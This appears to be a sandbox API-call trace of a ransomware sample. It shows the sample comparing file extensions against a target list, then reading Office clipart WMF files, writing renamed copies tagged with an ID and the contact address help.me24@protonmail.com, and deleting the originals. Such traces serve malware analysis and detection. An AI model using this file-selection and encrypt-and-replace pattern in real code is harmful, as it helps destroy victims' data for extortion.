	[0178.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0178.379] lstrlenW (lpString=".1cd") returned 4
	[0178.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0178.379] lstrlenW (lpString=".jpg") returned 4
	[0178.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0178.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0178.380] lstrlenW (lpString=".doc") returned 4
	[0178.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.380] lstrlenW (lpString=".docx") returned 5
	[0178.380] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0178.380] lstrlenW (lpString=".pdf") returned 4
	[0178.380] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.380] lstrlenW (lpString=".xls") returned 4
	[0178.380] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.380] lstrlenW (lpString=".xlsx") returned 5
	[0178.380] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0178.380] lstrlenW (lpString=".ppt") returned 4
	[0178.380] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0178.380] lstrlenW (lpString=".zip") returned 4
	[0178.380] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.380] lstrlenW (lpString=".rar") returned 4
	[0178.380] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.380] lstrlenW (lpString=".bz2") returned 4
	[0178.380] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.380] lstrlenW (lpString=".7z") returned 3
	[0178.381] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0178.381] lstrlenW (lpString=".dbf") returned 4
	[0178.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0178.381] lstrlenW (lpString=".1cd") returned 4
	[0178.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0178.381] lstrlenW (lpString=".jpg") returned 4
	[0178.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.381] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0178.381] lstrlenW (lpString="J0107456.WMF") returned 12
	[0178.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0178.383] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=3724) returned 1
	[0178.383] CloseHandle (hObject=0x36c) returned 1
	[0178.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf")) returned 0x220
	[0178.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0178.384] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.385] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.386] GetLastError () returned 0x0
	[0178.386] ReadFile (in: hFile=0x36c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0xe8c, lpOverlapped=0x0) returned 1
	[0178.388] WriteFile (in: hFile=0x548, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xe90, lpOverlapped=0x0) returned 1
	[0178.390] ReadFile (in: hFile=0x36c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.390] WriteFile (in: hFile=0x548, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.390] SetEndOfFile (hFile=0x548) returned 1
	[0178.390] CloseHandle (hObject=0x548) returned 1
	[0178.390] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.390] SetEndOfFile (hFile=0x36c) returned 1
	[0178.398] CloseHandle (hObject=0x36c) returned 1
	[0178.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.398] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf")) returned 1
	[0178.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0178.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0178.400] lstrlenW (lpString=".doc") returned 4
	[0178.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.400] lstrlenW (lpString=".docx") returned 5
	[0178.400] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0178.400] lstrlenW (lpString=".pdf") returned 4
	[0178.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.400] lstrlenW (lpString=".xls") returned 4
	[0178.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.400] lstrlenW (lpString=".xlsx") returned 5
	[0178.400] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0178.400] lstrlenW (lpString=".ppt") returned 4
	[0178.400] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0178.400] lstrlenW (lpString=".zip") returned 4
	[0178.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.400] lstrlenW (lpString=".rar") returned 4
	[0178.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.400] lstrlenW (lpString=".bz2") returned 4
	[0178.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.400] lstrlenW (lpString=".7z") returned 3
	[0178.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0178.401] lstrlenW (lpString=".dbf") returned 4
	[0178.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0178.401] lstrlenW (lpString=".1cd") returned 4
	[0178.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0178.401] lstrlenW (lpString=".jpg") returned 4
	[0178.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0178.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0178.401] lstrlenW (lpString=".doc") returned 4
	[0178.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.401] lstrlenW (lpString=".docx") returned 5
	[0178.401] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0178.401] lstrlenW (lpString=".pdf") returned 4
	[0178.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.401] lstrlenW (lpString=".xls") returned 4
	[0178.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.402] lstrlenW (lpString=".xlsx") returned 5
	[0178.402] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0178.402] lstrlenW (lpString=".ppt") returned 4
	[0178.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0178.402] lstrlenW (lpString=".zip") returned 4
	[0178.402] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.402] lstrlenW (lpString=".rar") returned 4
	[0178.402] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.402] lstrlenW (lpString=".bz2") returned 4
	[0178.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.402] lstrlenW (lpString=".7z") returned 3
	[0178.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0178.402] lstrlenW (lpString=".dbf") returned 4
	[0178.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0178.402] lstrlenW (lpString=".1cd") returned 4
	[0178.402] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0178.402] lstrlenW (lpString=".jpg") returned 4
	[0178.403] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.403] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0178.403] lstrlenW (lpString="J0107458.WMF") returned 12
	[0178.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0178.404] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=3568) returned 1
	[0178.405] CloseHandle (hObject=0x36c) returned 1
	[0178.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf")) returned 0x220
	[0178.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0178.406] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.406] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.408] GetLastError () returned 0x0
	[0178.408] ReadFile (in: hFile=0x36c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0xdf0, lpOverlapped=0x0) returned 1
	[0178.410] WriteFile (in: hFile=0x548, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xe00, lpOverlapped=0x0) returned 1
	[0178.411] ReadFile (in: hFile=0x36c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.412] WriteFile (in: hFile=0x548, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.412] SetEndOfFile (hFile=0x548) returned 1
	[0178.412] CloseHandle (hObject=0x548) returned 1
	[0178.412] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.412] SetEndOfFile (hFile=0x36c) returned 1
	[0178.507] CloseHandle (hObject=0x36c) returned 1
	[0178.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.508] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf")) returned 1
	[0178.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0178.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0178.510] lstrlenW (lpString=".doc") returned 4
	[0178.510] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.510] lstrlenW (lpString=".docx") returned 5
	[0178.510] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0178.510] lstrlenW (lpString=".pdf") returned 4
	[0178.510] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.510] lstrlenW (lpString=".xls") returned 4
	[0178.510] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.510] lstrlenW (lpString=".xlsx") returned 5
	[0178.510] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0178.510] lstrlenW (lpString=".ppt") returned 4
	[0178.510] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0178.510] lstrlenW (lpString=".zip") returned 4
	[0178.510] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.510] lstrlenW (lpString=".rar") returned 4
	[0178.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.510] lstrlenW (lpString=".bz2") returned 4
	[0178.510] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.510] lstrlenW (lpString=".7z") returned 3
	[0178.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0178.510] lstrlenW (lpString=".dbf") returned 4
	[0178.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0178.511] lstrlenW (lpString=".1cd") returned 4
	[0178.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0178.511] lstrlenW (lpString=".jpg") returned 4
	[0178.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0178.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0178.511] lstrlenW (lpString=".doc") returned 4
	[0178.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.511] lstrlenW (lpString=".docx") returned 5
	[0178.511] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0178.511] lstrlenW (lpString=".pdf") returned 4
	[0178.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.511] lstrlenW (lpString=".xls") returned 4
	[0178.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.511] lstrlenW (lpString=".xlsx") returned 5
	[0178.511] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0178.511] lstrlenW (lpString=".ppt") returned 4
	[0178.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0178.512] lstrlenW (lpString=".zip") returned 4
	[0178.512] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.512] lstrlenW (lpString=".rar") returned 4
	[0178.512] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.512] lstrlenW (lpString=".bz2") returned 4
	[0178.512] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.512] lstrlenW (lpString=".7z") returned 3
	[0178.512] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0178.512] lstrlenW (lpString=".dbf") returned 4
	[0178.512] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0178.512] lstrlenW (lpString=".1cd") returned 4
	[0178.512] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0178.512] lstrlenW (lpString=".jpg") returned 4
	[0178.512] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.512] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0178.512] lstrlenW (lpString="J0107482.WMF") returned 12
	[0178.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0178.515] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=4980) returned 1
	[0178.515] CloseHandle (hObject=0x36c) returned 1
	[0178.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf")) returned 0x220
	[0178.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0178.516] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.516] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0178.518] GetLastError () returned 0x0
	[0178.518] ReadFile (in: hFile=0x36c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x1374, lpOverlapped=0x0) returned 1
	[0178.521] WriteFile (in: hFile=0x520, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x1380, lpOverlapped=0x0) returned 1
	[0178.522] ReadFile (in: hFile=0x36c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.523] WriteFile (in: hFile=0x520, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.523] SetEndOfFile (hFile=0x520) returned 1
	[0178.523] CloseHandle (hObject=0x520) returned 1
	[0178.523] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.523] SetEndOfFile (hFile=0x36c) returned 1
	[0178.527] CloseHandle (hObject=0x36c) returned 1
	[0178.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.528] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf")) returned 1
	[0178.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0178.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0178.530] lstrlenW (lpString=".doc") returned 4
	[0178.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.530] lstrlenW (lpString=".docx") returned 5
	[0178.530] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0178.530] lstrlenW (lpString=".pdf") returned 4
	[0178.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.530] lstrlenW (lpString=".xls") returned 4
	[0178.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.530] lstrlenW (lpString=".xlsx") returned 5
	[0178.530] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0178.530] lstrlenW (lpString=".ppt") returned 4
	[0178.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0178.530] lstrlenW (lpString=".zip") returned 4
	[0178.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.530] lstrlenW (lpString=".rar") returned 4
	[0178.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.530] lstrlenW (lpString=".bz2") returned 4
	[0178.531] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.531] lstrlenW (lpString=".7z") returned 3
	[0178.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0178.531] lstrlenW (lpString=".dbf") returned 4
	[0178.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
